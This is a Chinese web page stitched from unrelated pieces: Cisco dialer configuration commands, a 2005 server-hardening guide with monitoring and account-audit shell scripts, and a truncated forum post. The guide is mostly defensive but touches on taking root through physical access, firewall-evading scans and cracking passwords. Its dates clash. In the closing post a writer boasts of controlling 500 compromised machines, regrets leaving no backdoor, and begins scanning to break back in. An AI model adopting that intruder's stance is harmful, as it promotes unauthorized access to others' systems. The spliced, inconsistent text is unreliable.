Router(config-if)#dialer map ip 10.1.1.1 name central 5555200 //设置拨号号码,使用dialer map,说明静态路由使用的是下一跳地址的ip,这个ip和拨号号码建立了映射关系

Router(config-if)#dialer string number//使用dialer string说明静态路由使用的是本地端口

Router(config-if)#dialer idle-timeout 180 //设置链路闲置多长时间后,断开连接

Router(config-if)#dialer load-threshold hold { outbound | inbound | either } //设置在超过规定负载的时候,允许第二条链路开通

Router(config)#interface dialer 1 //设置拨号接口1

Router(config-if)#ip addr 10.1.1.1 255.255.255.0

Router(config-if)#encapsulation ppp

Router(config-if)#dialer-group 1  //应用感兴趣流量,根据dialer-list的设置来设置

Router(config-if)#dialer pool 1 //调用拨号池1的资源,和在物理接口bri0上的    dialer pool-member 1的号码匹配,这样设置,拨号参数就可以选用池中的物理接口

Router#show dialer interface bri0 //可以查看物理接口和哪个拨号接口匹配,使用哪个信道等

2005年08月04日

文章作者:ldj2285

本文档与站点服务器安全有关,由本人根据实际工作经验编写而成;

  站点服务器通常指托管在IDC机房的服务器,如果你有服务器托管在IDC那里,就不得不对它们的安全予以关注。如果你是网络程序员或系统管理员,本文或许会对你有所帮助,如果你是专业安全管理员,那么看一下本文也无妨。
站点安全应该包括几部分:物理安全、网络安全、系统安全以及安全管理,下面从这几方面予以阐述。

一. 物理安全
服务器运行的物理安全环境是很重要的,很多人忽略了这点。物理环境主要是指服务器托管机房的设施状况,包括通风系统、电源系统、防雷防火系统以及机房的温度、湿度条件等。这些因素会影响到服务器的寿命和所有数据的安全。我不想在这里讨论这些因素,因为在选择IDC时你自己会作出决策。
在这里着重强调的是,有些机房提供专门的机柜存放服务器,而有些机房只提供机架。所谓机柜,就是类似于家里的橱柜那样的铁柜子,前后有门,里面有放服务器的拖架和电源、风扇等,服务器放进去后即把门锁上,只有机房的管理人员才有钥匙打开。而机架就是一个个铁架子,开放式的,服务器上架时只要把它插到拖架里去即可。这两种环境对服务器的物理安全来说有着很大差别,显而易见,放在机柜里的服务器要安全得多。
如果你的服务器放在开放式机架上,那就意味着,任何人都可以接触到这些服务器。别人如果能轻松接触到你的硬件,还有什么安全性可言?以下是几个不安全的事例:
很多Windows服务器采用终端服务进行管理,在一个机架式的机房里,你可以随便把显示器接在哪台服务器上。如果你碰巧遇到某台机器的管理员或使用者正通过终端使用这台机器,那么他的操作你可以一览无余。甚至,你可以把键盘接上去,把他kill off,然后完全控制这台机器。当然,这种事情比较少见,但不意味着不可发生。
另外,很多Unix系统的管理员在离开机房时,没有把root或其他帐号的shell从键盘退出,这样你只要把键盘和显示器接上去,就完全可以获取这个shell的权限。这可比远程攻击获取系统权限容易得太多。我有次在机房时想要一个unix shell临时使用一下,于是我把显示器在旁边机架的几台服务器上接了一下,很快就发现一个没有退出的root shell,我把键盘接上去,做完我自己的事后,帮他退出了这个shell。如果我是一个不安好心的人,我完全可以在他的服务器里不带任何痕迹的安装一个木马(RootKit)。
某天我看到一个公司的维护人员在机房调试专线时,怀疑是协议转换仪有问题,于是他毫不犹豫的把旁边一个机架上的协议转换仪拔下来,接到他自己的专线上用于调试。被破坏的服务器数据传输会中断几分钟,这对某些公司可能是致命的,而他们的服务器管理人员可能到死也查不出原因!
还有,用一张Linux光盘引导Linux系统,你可以毫无障碍的重新获取主机的root权限;你可以无意中碰动别人的电源,等等,不在这里赘述。所有这些是要说明一点,放在开放机架上的服务器是不安全的。如果你的服务器硬件可以让其他人轻易接触,那么不出事是你的幸运,出事了你也找不到原因或找不到责任人。
而放在密封式机柜里的服务器会安全很多,一般情况下,你的所有服务器放在一起(同一个机柜或者几个机柜)是明智之举,机柜里不要有其他公司的服务器。如果你的服务器只有有限的几台,那么放在机柜里也会安全很多。因为不是任何人都可以打开机柜接触到你的硬件,就算同一个机柜的其他公司的服务器的维护人员有这个机会,但风险也要小得多。而且,就算出事了,你也可以追查到责任人。
有一次我们的服务器因为电源断掉,而中断几个小时,我们根据系统日志很快判断出服务器的down机情况,在追查责任时,我首先想到是IDC机房的维护人员的责任,因为在我们那个机柜里没有其他公司的服务器,别人不会接触到那里面的电源。后来经查实,果然是该IDC的电工在弄电时不小心把我们的服务器电源断掉,他们向我们出具了道歉声明。而如果在一个开放式机架的机房里,碰到这样的情况你无从查起。
如果你的服务器只能放在开放式机架的机房,那么你可以这样做:1)将电源用胶带绑定在插槽上,这样避免别人无意中碰动你的电源;2)安装完系统后,重启服务器,在重启的过程中把键盘和鼠标拔掉,这样在系统启动后,普通的键盘和鼠标接上去以后不会起作用(USB鼠标键盘除外)3)跟机房值班人员搞好关系,不要得罪机房里其他公司的维护人员。这样做后,你的服务器至少会安全一些。

二. 网络安全
网络安全是指你机房的服务器要有合理的安全拓扑结构。安全的网络环境会让你的系统管理任务轻松很多,否则你会时刻提心吊胆。例如,如果你的NFS服务器直接面对互联网,那么你的麻烦就来了。因此,在服务器的前面,至少要有网络屏蔽设施,或称为防火墙。
从头部署新的防火墙策略是一件复杂的事情,你要综合考虑许多方面。一般来说,防火墙有两种工作模式,称为路由模式和透明模式,在路由模式下,防火墙就象一个路由器,能进行数据包的路由。不同的是,它能识别网络第四层协议(即传输层)的信息,因此它能基于TCP/UDP端口来进行过滤。在该模式下,防火墙本身要配备两个或多个网络地址,你的网络结构会被改变。在透明模式下,防火墙更象一个网桥,它不干涉网络结构,从拓扑中看来,它似乎是不存在的(因此称为透明)。但是,透明模式的防火墙同样具备数据包过滤的功能。透明模式的防火墙不具备IP地址。这两种模式的防火墙都提供网络访问控制功能,例如你可以在防火墙上设置,过滤掉来自因特网的对服务器的NFS端口的访问请求。
在网络中使用哪种工作模式的防火墙取决于你的网络环境。一般来说,如果你的服务器使用真实IP地址(该地址一般是IDC分配给你的),会选择防火墙的透明模式。因为在该模式下,你的服务器看起来象直接面对互联网一样,所有对服务器的访问请求都直接到达服务器。当然,在数据包到达服务器之前会经过防火墙的检测,不符合规则的数据包会被丢弃掉(从服务器编程的角度看,它不会觉察到数据包实际已被处理过)。
实际上为了安全起见,很多服务器都采用私有IP地址(例如172.16.0.0/16和192.168.0.0/24都属于私有IP地址),如果这些服务器不必对外提供服务,那么就最安全不过了,如果要对外提供服务,就有必要通过防火墙的NAT(网络地址转换)来满足来自因特网的访问要求。NAT是防火墙的一项功能,它实际上工作在路由模式下。大多数防火墙都会区分所谓的正向NAT和反向NAT,所谓正向NAT就是指从内网出去的数据包,在经过防火墙后,包头会被改写,源IP被改写成防火墙上绑定的IP地址(或地址池,肯定是公网真实IP),源端口也会有所改变,回来的数据包经过同样处理,这样就保证内网具有私有IP的主机能够与因特网进行通信。在反向NAT的实现中,会将服务器的公网IP绑定在出口处的防火墙上,服务器只会使用一个私有IP,防火墙会在它的公网IP和这个私有IP之间建立一个映射,当外网对这台服务器的请求到达防火墙时,防火墙会把它转发给该服务器。当然,在转发之前,会先匹配防火墙规则集,不符合规则的数据包将被丢弃。
使用反向NAT,会大大提高服务器的安全性。因为任何用户的访问都不是直接面对服务器,而是先要经过防火墙才被转交。而且,服务器使用私有IP地址,这总比使用真实地址要安全。在抗拒绝服务攻击上,这种方式的成效更显然。但是,相对于透明模式的防火墙,采用反向NAT方式的防火墙会影响网络速度。如果你的站点访问流量超大,那么就不要使用该种方式。值得一提的是,CISCO的PIX在NAT的处理上性能异常卓越。
另外一种情况是,服务器使用真实IP地址,防火墙配置成路由模式,不使用它的NAT功能。这种情况虽然可以实现,但会使你的网络结构变得很复杂,似乎也不会带来效益的提高。
大多数IDC的机房不提供防火墙服务,你需要自己购买和配置使用防火墙。你完全可以按透明模式或NAT模式来配置,具体怎么配取决于你的实际情况。有些IDC公司会提供防火墙服务,作为他们吸引客户的一个手段。一般来说,他们的防火墙服务会收费。
如果你的服务器在IDC提供的公共防火墙后面,那么就有必要仔细考虑你的内网结构了。如果IDC提供给你的防火墙使用透明模式,也即是你的服务器全部使用真实IP地址,在这种情况下,除非你的服务器数量足够多(象我们在北京有500多台),那么在你的逻辑网段里肯定还有其他公司的主机存在。这样,虽然有防火墙,你的系统管理任务也不会轻松多少,因为你要受到同一网段里其他公司主机的威胁。例如,你的服务器的IP地址段是211.139.130.0/24,你使用了其中的几个地址,那么在这个网段里还会有200多台其他公司的主机,它们与你的主机同处于一个防火墙之后,虽然防火墙可以屏蔽来自因特网的某些访问,然而,内部这些主机之间的相互访问却没有任何屏蔽措施。于是,其他公司不怀好意的人可以通过他们的主机来攻击你。或者,网络中一台主机被黑客入侵,则所有服务器都会面临严重威胁。在这样的网络中,你不要运行NFS、Sendmail、BIND这样的危险服务。
这种问题的解决方法是自己购买防火墙,并配置使用透明模式,不要使用公用防火墙的透明模式。
有的IDC公司会给你提供NAT方式的防火墙,你需要在服务器上设置私有IP地址,然后由防火墙来给服务器做地址转换。这种情况与上述情况存在同样的问题,那就是,在你的服务器所在的逻辑网段里还有其他公司的主机。例如在172.16.16.0/24这个网段可容纳254台主机,你的服务器使用了其中的几个IP,那么可能还有200多台其他公司的主机与你的服务器在同一个网段里。这样,虽然对外有防火墙保护,但无法防范来自内网的攻击。
要解决这个问题,你不必自己购买防火墙。既然私有IP是可以任意分配的,那么你可以向IDC单独要一个网段,例如172.16.19.0/24网段,把你的服务器都放在这个网段里,其中不要有其他公司的主机。这样一来,你的内网也无懈可击了。
实际上,如果你有一个大的UNIX主机的网络,那么没必要让每台主机都在防火墙上打开登陆端口。你可以特别设置一台或两台主机做为登陆入口,对其他主机的访问都必须使用入口主机作为跳板。这样做牺牲了使用的方便性,但带来更强的安全性。当然,前提是你必须管理好入口主机。有一种电子令牌卡适合这种应用,它是一张随身携带的卡,每隔一段时间(这个时间通常很小,几分钟或者几十秒)动态产生一个口令,你只有使用这个口令才能登陆主机,并且该口令很快就会失效。
不仅是UNIX主机,对Windows主机的终端管理也可以采用这种跳板的方式。但Windows的终端比UNIX的shell要麻烦得多,如果你不愿牺牲太多的方便性,那么就不要这样做。
三. 系统安全
系统安全是站点安全的主要部分。如果你的系统存在明显漏洞,那么再好的物理环境和网络环境也保不了你。一个很明显的问题是,如果你的WEB服务器存在安全漏洞,你在没有将其修补的情况下对外提供服务,那么不管你的防火墙有多坚固,也会很快被入侵。因此,系统管理员在保证系统功能稳定的同时,不得不花时间来研究系统的安全问题。
我所接触的服务器主要有Windows2000 Server、Freebsd、Linux和Solaris。第一种是微软的产品,方便好用,但是,你必须要不断的patch它。Freebsd是一种优雅的操作系统,它简洁的内核和优异的性能让人感动。Linux和Freebsd一样,是免费的操作系统,它们都广泛使用GNU(一个伟大的组织)的实用工具集,Linux容易上手,但不如Freebsd简洁。Solaris是SUN的商用操作系统,关于SUN OS的文章在网上被贴得到处都是,但遗憾的是,它看起来并不快,而且,你也要经常对它打补丁。
关于这几种操作系统的安全,每种都可以写一本书。我不会在这里对它们进行详细描述,只讲一些系统初始化安全配置。

1. Windows2000 Server的初始安全配置
Windows的服务器在运行时,都会打开一些端口,如135、139、445等。这些端口用于Windows本身的功能需要,冒失的关闭它们会影响到Windows的功能。然而,正是因为这些端口的存在,给Windows服务器带来诸多的安全风险。远程攻击者可以利用这些开放端口来广泛的收集目标主机信息,包括操作系统版本、域SID、域用户名、主机SID、主机用户名、帐号信息、网络共享信息、网络时间信息、Netbios名字、网络接口信息等,并可用来枚举帐号和口令。今年8月份和9月份,微软先后发布了两个基于135端口的RPC DCOM漏洞的安全公告,分别是MS03-026和MS03-039,该漏洞风险级别高,攻击者可以利用它来获取系统权限。而类似于这样的漏洞在微软的操作系统中经常存在。
解决这类问题的通用方法是打补丁,微软有保持用户补丁更新的良好习惯,并且它的Windows2000 SP4安装后可通过Windows Update来自动升级系统补丁。另外,在防火墙上明确屏蔽来自因特网的对135-139和445、593端口的访问也是明智之举。
Microsoft的SQL Server数据库服务也容易被攻击,今年3月份盛行的SQL蠕虫即使得多家公司损失惨重,因此,如果安装了微软的SQL Server,有必要做这些事:1)更新数据库补丁;2)更改数据库的默认服务端口(1433);3)在防火墙上屏蔽数据库服务端口;4)保证sa口令非空。
另外,在Windows服务器上安装杀毒软件是绝对必须的,并且要经常更新病毒库,定期运行杀毒软件查杀病毒。
不要运行不必要的服务,尤其是IIS,如果不需要它,就根本不要安装。IIS历来存在众多问题,有几点在配置时值得注意:1)操作系统补丁版本不得低于SP3;2)不要在默认路径运行WEB(默认是c:\inetpub\wwwroot);3)以下ISAPI应用程序扩展可被删掉:.ida .idq .idc .shtm .shtml .printer。

2. Freebsd的初始安全配置
Freebsd在设计之初就考虑了安全问题,在初次安装完成后,它基本只打开了22(SSH)和25(Sendmail)端口,然而,即使是Sendmail也应该把它关闭(因为历史上Sendmail存在诸多安全问题)。方式是编辑/etc/rc.conf文件,改动和增加如下四句:
sendmail_enable="NO"
sendmail_submit_enable="NO"
sendmail_outbound_enable="NO"
sendmail_msp_queue_enable="NO"
这样就禁止了Sendmail的功能,除非你的服务器处于一个安全的内网(例如在防火墙之后并且网段中无其他公司主机),否则不要打开Sendmail。
禁止网络日志:在/etc/rc.conf中保证有如下行:
syslogd_flags="-ss"
这样做禁止了来自远程主机的日志记录并关闭514端口,但仍允许记录本机日志。
禁止NFS服务:在/etc/rc.conf中有如下几行:
nfs_server_enable="NO"
nfs_client_enable="NO"
portmap_enable="NO"
有些情况下很需要NFS服务,例如用户上传图片的目录通常需要共享出来供几台WEB服务器使用,就要用到NFS。同理,要打开NFS,必须保证你的服务器处于安全的内网,如果NFS服务器可以被其他人访问到,那么系统存在较大风险。
保证/etc/inetd.conf文件中所有服务都被注销,跟其他系统不同,不要由inetd运行任何服务。将如下语句加进/etc/rc.conf:
inetd_enable="NO"
所有对/etc/rc.conf文件的修改执行完后都应重启系统。
如果要运行Apache,请编辑httpd.conf文件,修改如下选项以增进安全或性能:
1) Timeout 300—>Timeout 120
2) MaxKeepAliveRequests 256
3) ServerSignature on—>ServerSignature off
4) Options Indexes FollowSymLinks 行把indexes删掉(目录的Options不要带index选项)
5) 将Apache运行的用户和组改为nobody
6) MaxClients 150——>MaxClients 1500
(如果要使用Apache,内核一定要重新编译,否则通不过Apache的压力测试,关于如何配置和管理WEB服务器请见我的另一篇文章)
如果要运行FTP服务,请安装proftpd,它比较安全。在任何服务器上,都不要打开匿名FTP。

3. Linux的初始安全配置
Linux安装完成后,默认会打开一些不必要端口,运行netstat –an |grep LISTEN命令看一下,会看到本机打开的所有端口。除了必须的网络端口如SSH、FTP和WEB,其他端口都关闭。如果你不熟悉这些端口对应什么程序,那么请参看/etc/services文件,里面有端口和服务的对应列表。
在Redhat 9.0默认安装完成后,请进入/etc/rc2.d和/etc/rc3.d,将系统启动时打开的不必要服务都在这里注销掉。这些服务通常包括sendmail、NFS、rpc等,注销的方法是将S打头的相关服务文件重命名(注意不要命名为S或K 打头的其他文件)。
例如将/etc/rc2.d/S80sendmail 改名为 X80sendmail
将/etc/rc3.d/S13portmap S14nfslock S28autofs S80sendmail 改名为 X13portmap X14nfslock X28autofs X80sendmail
RPC的安全问题历来很多,请注意一定不要打开111端口。
改完后需要重启Linux服务器。
如果你的Linux直接面对因特网,那么可以配置它的防火墙来实现访问控制。Linux2.4内核支持iptables,2.4以下支持ipchains,它们的语法差不多,都是很好的防火墙工具。例如,如果你只允许从因特网访问SSH和WWW服务,那么可将如下语句加进/etc/rc.d/rc.local文件:
/sbin/iptables -F
/sbin/iptables -A INPUT -p tcp -d 211.96.13.* –dport 80 -i eth0 -j ACCEPT
/sbin/iptables -A INPUT -p tcp -d 211.96.13.* –dport 22 -i eth0 -j ACCEPT
/sbin/iptables -A INPUT -i eth0 -j DROP
说明:iptables –F刷新iptables规则表,接下来两条语句允许任何人访问211.96.13.*这个地址的WWW和SSH服务,最后一条DROP语句将不符合规则的其他访问过滤掉。
这样系统在启动后即可自动运行防火墙规则。
通常在Freebsd或Linux上会运行Mysql数据库服务,不要将数据库服务端口(3306)暴露在防火墙之外。如果运行Apache,同样要做如Freebsd的修改。

4. Solaris的初始安全配置
关于Solaris的安全配置网上有一篇非常好的文章,叫做《The Solaris Security FAQ》,照着做就可以了。
1) 禁止root从网络直接登陆:修改/etc/default/login文件,确保CONSOLE=/dev/console被设置,该行只允许root从控制台登陆。将root用户加入/etc/ftpusers,保证root不可以远程使用ftp。
2) 禁止rlogin和rsh访问:删除/etc/hosts.equiv和/.rhosts文件,从/etc/inetd.conf文件里注释掉所有以r打头的服务。
3) 帐号控制:删除、锁定或注释掉不必要的系统帐号,包括sys/uucp/nuucp/listen等
4) 改变/etc目录的访问权限:该目录下文件不应该对同组用户可写,执行:chmod –R g-w /etc (不推荐)
5) 在solaris2.5 以上版本的系统中,创建/etc/notrouter文件来关闭solaris默认的路由转发。
6) 禁止automounter:删除/etc/auto_*配置文件,删除/etc/init.d/autofs
7) 禁止NFS服务:删除/etc/dfs/dfstab,重命名/etc/rc3.d/S15nfs.server,重命名/etc/rc2.d/S73nfs.client (不要再以S打头)
8) 禁止rpc服务:重命名/etc/rc2.d/S71RPC
9) 修改/etc/inetd.conf文件,注释掉大部分不必要服务,只保留telnet和ftp服务,然后重启inetd进程。
10) 给系统打补丁:包括各版本Solaris通用补丁和单个补丁集合。
11) 将如下三行加进/etc/init.d/inetinit文件:
ndd -set /dev/ip ip_forward_directed_broadcasts 0
ndd -set /dev/ip ip_forward_src_routed 0
ndd -set /dev/ip ip_forwarding 0
这样在系统启动后就关闭了IP转发和IP源路由。
四. 服务器安全管理
4.1 安全管理应做的事
安全管理是站点安全中最重要的一环,离开了管理,安全将变得不切实际。以下也许是Windows系统安全管理员每天应做的事:
1. 检查系统有无新增帐户,并了解其来源及用途;查看管理员组里有无新增帐户,该组的帐户除系统最初设置外,以后不应该增加帐户;
2. 在命令行状态下,运行netstat –an命令查看当前连接及打开的端口,查找可疑连接及可疑的端口;
3. 查看“任务管理器”,查找有无可疑的应用程序或后台进程在运行,并观察CPU及内存的使用状态;
4. 运行注册表编辑器,查找有无可疑的程序被加到windows的启动项里,并查看有无新增的可疑服务;
5. 使用 Windows事件查看器查看“系统日志”“安全日志”和“应用程序日志”,以发现有无可疑的事件或影响系统性能的事件;
6. 检查共享目录,不应有对所有用户可写的目录存在;
7. 如果运行Microsoft IIS,查看C:\WINNT\system32\LogFiles\下的WEB 服务器日志,以发现是否有试图攻击WEB的行为;
8. 不定期运行杀毒软件查杀病毒;
9. 经常浏览微软的网站,保持服务器的补丁同步更新,留意微软发布的安全公告。

以下是Unix系统安全管理员应经常做的事:
1. 以root运行last,查看用户在过去一段时间内所发生的事件;
2. 查看/etc/passwd和/etc/shadow文件,以发现是否有新增用户,并追查用户来源及用途;保证这两个文件中的系统用户(如Daemon bin sys adm lp uucp nuucp listen noaccess、mysql、sshd、nobody等)没有自己的shell;检查有无帐户被提升到root权限(UID 0);
3. 运行netstat –an |grep LISTEN查看有无可疑的打开的端口;
4. 使用ps命令查看系统进程,保证只有必要的进程在运行;
5. 检查被cron运行的程序,Solaris一般在/var/spool/cron目录里,Freebsd一般在/var/cron里,初始化的crontable除root外,其他用户不应拥有;仔细查看root的crontable;
6. 使用vmstat和top查看系统资源占用状况,对高资源占用的系统进程要做谨慎处理;
7. 查看系统日志,包括Solaris下的/var/adm/messages和Freebsd下的/var/log/messages,以发现有无可疑的事件发生;
8. 查看系统安全日志,包括用户登陆尝试、验证失败、可疑的IP地址登陆等,在solaris下是/var/log/authlog,freebsd下是/var/log/auth.log;
9. 运行chkrootkit,以检查系统是否被植入木马程序;
10. 安装了Apache的主机,不定期查看Apache的访问日志和错误日志, 以发现是否有试图攻击WEB的行为。

4.2 系统及服务的稳定性
一些重要的服务器是片刻也不能停的,一旦发生服务器down机事故,而你又没有及时发现和恢复,那么你面对的将是铺天盖地的指责。系统安全管理的任务也许不是很重,但责任却并不轻。因此,你有必要时刻了解服务器的存活状况,一旦发生down机事件,你应在第一时间知道。
有些好的IDC机房有服务器监控系统,一旦某台机器down掉,它会发出警报。然后机房的值班人员会电话通知你,这样你就能从容的处理事故。然而,并非所有的机房都有这样的措施,很多时候还得依靠自己的小心。
在机房网络中,应该有一它网管机器,这台机器最好是Unix系统,因为你可以在上面编写脚本来监控网络,并通过sendmail发送邮件给自己。这台机器可以是一台服务器,象前面讲过的登陆入口服务器,就完全可以充当网管机;也可以是一台配置很低的普通PC,能运行Linux或Freebsd就可以了。有必要在上面运行sendmail,因为它要对外发送邮件。当然,sendmail有一些安全问题,因此在运行它之前,你必须确认服务器处于安全的网络:在防火墙之后,且同一网段中没有其他公司的服务器。否则,就不要运行它。当然,你也可以配置sendmail绑定在127.0.0.1端口,不接受网络请求(在Linux默认安装的sendmail不接受网络请求,Freebsd中可以在rc.conf文件中设置使sendmail绑定在127.0.0.1端口),这样的sendmail会安全很多。
然后你可以写一个简单的脚本来监控网络主机生存状况。在Unix主机上,使用shell或perl都很容易编写脚本,但是,shell脚本用于系统管理更简单明了,除非你要进行复杂的数学计算或文本处理。如下这个shell脚本很简单,却很实用:


#!/bin/sh
# script name:nping
# use this script to confirm the hosts are alive or not
HOST01="xxx.xxx.xxx.xxx"
HOST02="xxx.xxx.xxx.xxx"
HOST03="xxx.xxx.xxx.xxx"
HOST04="xxx.xxx.xxx.xxx"
HOST05="xxx.xxx.xxx.xxx"
HOST06="xxx.xxx.xxx.xxx"
HOST07="xxx.xxx.xxx.xxx"
HOST08="xxx.xxx.xxx.xxx"
HOST09="xxx.xxx.xxx.xxx"
HOST10="xxx.xxx.xxx.xxx"

for LOOP in $HOST01 $HOST02 $HOST03 $HOST04 $HOST05 $HOST06 $HOST07 $HOST08 $HOST09 $HOST10
do
if !/sbin/ping -c 2 $LOOP >/dev/null 2>&1;then
echo "Warning:The host $LOOP seems down" >> error.log
fi
done

if [ -f error.log ];then
cat error.log |mail -s "Warning:Host Down"
yourname@yourmail.com
rm –rf error.log
fi

该脚本执行一个简单的ping操作,以判断目标主机是否存活,如果目标主机停止响应,则向管理员发送邮件报警。
你可以在任务里设定每隔一段时间执行一次该脚本,由于ping对内网的影响很小,因此这个时间可以短一些,我把它设为1小时。
然而,有的时候,你可能关心的不止是服务器是否存活,更想了解它的服务状态是否正常,这个时候,你可以使用一个工具来判断服务器的开放服务状态,这个工具就是被Unix系统管理员广泛使用的网络端口扫描工具Nmap(可以从
http://www.insecure.org/nmap/ 下载最新版本)。它的使用很简单,安装完成后直接在命令行下执行:nmap IP,就可以得到目标主机的开放TCP端口状况。当然,Nmap的功能远不止如此,它还可以执行UDP、SYN、FIN、RPC等扫描,它的半开放扫描可绕过防火墙的过滤,并可根据操作系统指纹判断目标系统类型。在这里只要利用到Nmap的TCP扫描就够了。然后,你可以编写一个脚本来定期检测服务器的开放端口状况,并将结果Email给管理员。我编写的如下:

#!/bin/sh
# script name:nscan
# use this script to check the services status on local servers
HOST01="xxx.xxx.xxx.xxx"
HOST02="xxx.xxx.xxx.xxx"
HOST03="xxx.xxx.xxx.xxx"
HOST04="xxx.xxx.xxx.xxx"
HOST05="xxx.xxx.xxx.xxx"
HOST06="xxx.xxx.xxx.xxx"
HOST07="xxx.xxx.xxx.xxx"
SQL_PORT="2433/tcp"
MSRDP_PORT="3389/tcp"
PCANYWH_PORT="5631/tcp"

for LOOP in $HOST01 $HOST02 $HOST03 $HOST04 $HOST05 $HOST06 $HOST07
do
nmap -sT $LOOP >nmap.tmp 2>&1
for PORT in $SQL_PORT $MSRDP_PORT $PCANYWH_PORT
do
if ! grep $PORT nmap.tmp >/dev/null 2>&1;then
echo “Warning:The port $PORT is seem to down on $LOOP” >>$LOOP.error
fi
done

if [ ! -f $LOOP.error ];then
echo "The services running on $LOOP are nomal!"
else
cat $LOOP.error >>nscan.err 2>&1
rm -rf $LOOP.error
fi

rm -rf nmap.tmp
done

if [ -f nscan.err ];then
cat nscan.err |mail –s “Host Services Down”
yourname@yourmail.com
rm –rf nscan.err
fi


该脚本只是判断MS SQL Server、MS终端服务和Pcanywhere服务是否正常,如果不正常,就向管理员发送邮件报警。如果你需要检查其他的服务端口,修改该脚本即可。
你也可以配置任务来定期执行该脚本,不过请注意,Nmap扫描会影响网络,因此检测的时间间距不要太小。当然,在Unix系统下,有好些方法可以判断目标系统的开放端口状况,但使用Nmap扫描看起来也不错。
4.3 日志管理
不管是Windows系统还是Unix系统,都有自己的事件日志。在Windows下使用事件查看器可以清楚的了解系统运行的各项状态,它包括应用程序日志、安全日志和系统日志。你应经常阅读这些日志,尤其是一些红色标记的错误信息。根据这些错误提示发现问题和解决问题是Windows系统管理员应做的事。
如果服务器不加入域,那么一般来说系统错误信息很少;如果在机房的服务器组成一个域,那么从日志里可能会经常看到各种错误提示,尤其是在域控制器有问题的时候。管理好一个域不是一件太容易的事,它凭空给系统管理员增加很多困难。如果你真碰到这样的问题,建议你到google上面去查找答案,一般来说,你碰到的问题别人肯定也遇见过了,因特网上有很多热心的人愿意解答困难者的问题(尤其是国外的技术站点)。
读Windows的日志不浪费你太多精神,因为它都分门别类整理得很清楚,有什么错误能一目了然的看出来。每天快速翻一下它的日志是可行的,如果你的服务器磁盘有坏道,也能从日志里体现出来,为你及早更换磁盘、避免数据灾难赢得了时间。
在Unix系统下,读日志要费劲一些,因为Unix系统通常把一些通用的日志信息写到messages文件里,导致这个文件里杂七杂八什么都有,包括应用程序信息、用户验证信息、网络连接信息、内核信息等等,在浏览它们时比较费劲。然而,这不意味着你可以不管它们。实际上,日志文件是系统侦错时的唯一依据。某天你的Unix系统崩溃了,在居丧之余,不要忘了去分析它的日志,或许可以为你找到原因。
在Unix系统下,有一个日志分析软件叫Swatch,它能很好的帮你裁减和分析日志,减轻系统管理员的负担。关于它的安装和使用我不在这里详叙,因为我自己并没有使用它。我自己编写脚本用于查看日志,使用awk语句照样能将日志文件裁减到合理的程度。这个脚本的样式我不在这里描述,因为不同的系统和网络环境所产生的条件并不一样。
在UNIX系统下,另外一个日志文件也很值得关注,它记载了用户的登陆和验证信息,该文件一般位于/var/log下,名为authlog或者auth.log,只有root才可以对它进行读写。
如果系统中安装了Apache,那么经常查看Apache的错误日志和访问日志也值得推荐。从这两个日志里,你可以发现很多有趣信息,因特网上对WEB站点的攻击从来没有终止过(从这里也可以找到大量试图攻击IIS的信息)。


4.4 用户管理
用户管理通常是指系统的用户帐户管理,不管是UNIX系统还是Windows系统,帐户安全是系统安全的关键。系统中应保持固定数量的用户帐户,作为系统管理员,应清楚每一个帐户的使用者和用途。用户新申请帐户应该有个流程,规范的管理总比不规范好。
在Unix系统上,大多数系统帐户平时是没什么用的,包括:bin daemon adm lp mail news uucp operator games gopher rpc等,如果你不把它们删除,那么也不要让它们拥有真正的shell,检查/etc/passwd文件,看看这些帐户的最后一个域(shell)是否被置/sbin/nologin或/bin/false。经常检查帐户的权限,普通帐户不应该在root组(gid=0),更不应拥有root权限(uid=0)。可以写一个脚本来替你检查,如下所示:
#!/bin/sh
# script name:checkuser
# check if there is any user who have real shell or have root id/gid

FILE=/etc/passwd
NUM=0

while read LINE
do
NUM=`expr $NUM + 1`

if [ $NUM -lt 3 ];then
continue
fi

USER=`echo $LINE |cut -d: -f1`
USER_SHELL=`echo $LINE |cut -d: -f7`
USER_UID=`echo $LINE |cut -d: -f3`
USER_GID=`echo $LINE |cut -d: -f4`

if [ "$USER_SHELL" != "/sbin/nologin" ];then
echo -e "\n$USER has one real shell:$USER_SHELL"
fi
if [ $USER_UID -eq 0 ];then
echo "$USER has the root uid(uid 0)"
fi
if [ $USER_GID -eq 0 ];then
echo "$USER has the root gid(gid 0)"
fi

done <$FILE
这个脚本运行在Freebsd下,Freebsd的/etc/passwd文件前两行是版本说明,所以在程序里把它跳过,从第三行起挨个检查用户帐号,它将每一个拥有真正shell或者拥有root用户ID或组ID的帐号在屏幕上打印出来。
同样,在Windows服务器上,如果不运行IIS服务,那么把IIS相关的帐号禁止掉,把终端服务帐号禁止掉,把guest帐号禁止掉。Windows系统的管理员组除了Administrator外不要有其他帐号,甚至应该把Administrator帐号改名。每一个帐号在帐号描述里说明它的用途。如果Windows服务器采用域的方式,那么应确保域中有尽可能少的用户。一般域中两个用户就够了,一个Administrators组的用户,一个普通用户。请记住,域的Administrators组的用户(通常是administrator)对你的每一台加入域的服务器都有生死控制权,所以你应绝对保证这个帐户的安全。
不管是系统的root密码还是普通用户密码,都应定期更改。我一般每两个月更改一次系统root密码。当然,如发现系统有被入侵迹象,应马上更改密码。对于用户密码,不管在什么系统中,都可以设置密码过期期限,用户使用一段时间后必须更改密码。有的用户安全意识并不强烈,他们使用自己容易记住的词汇作为口令,例如自己的英文名或者生日。这些都容易被猜测,你可以使用工具破解这些简单口令。Unix下的John和Windows下的LC3都是非常好的密码破解工具,在系统上运行它们几分钟就可以破解出一堆弱口令。口令过于简单的用户,一定要强制他们更改口令,否则后患无穷。如果用户拒绝更改口令,那就删除他们,我就做过这样的事。

4.5 安全巡检
最后要讲的是安全巡检,有时间就跑到机房看看去吧,看看服务器运行的环境,检查一下电源和网线,摸摸机表的温度,跟机房的值班人员聊聊天,都对你有好处。一般来说,就算服务器正常运行,每月也应去机房两次。当然,来去打车的费用,希望你的公司给你报销。

2005年08月01日

 来源:黑基论坛

无聊,上网逛逛,想起某地我还有一个网络有OpenVMS 7.5,半年没玩儿了,过去瞧瞧。

一瞧,顿然觉得失败,半年没见,那边的Admin竟然重新  
对所有机器进行了安全加强配置,而我当年竟然一时心软,没留一个隐蔽一点的后门 — 连shadow都没拉回来 — 失败,太失败了。

不甘心哪,我的500台大机 — AIX,HP-UX,Tru64,Irix还有变态西西的VMS…

实在是不甘心,我一定要再拿回来!

好吧,开始扫描,再看看它有什么漏洞。

========================================================================

所有的机器都是用nis集中认证,用户home也都是nfs的,每种平台都坚持最少服务原则,开放的服务也都打了补丁的…呜呜呜,看来是没漏洞了吗?

试,试试试,再试!

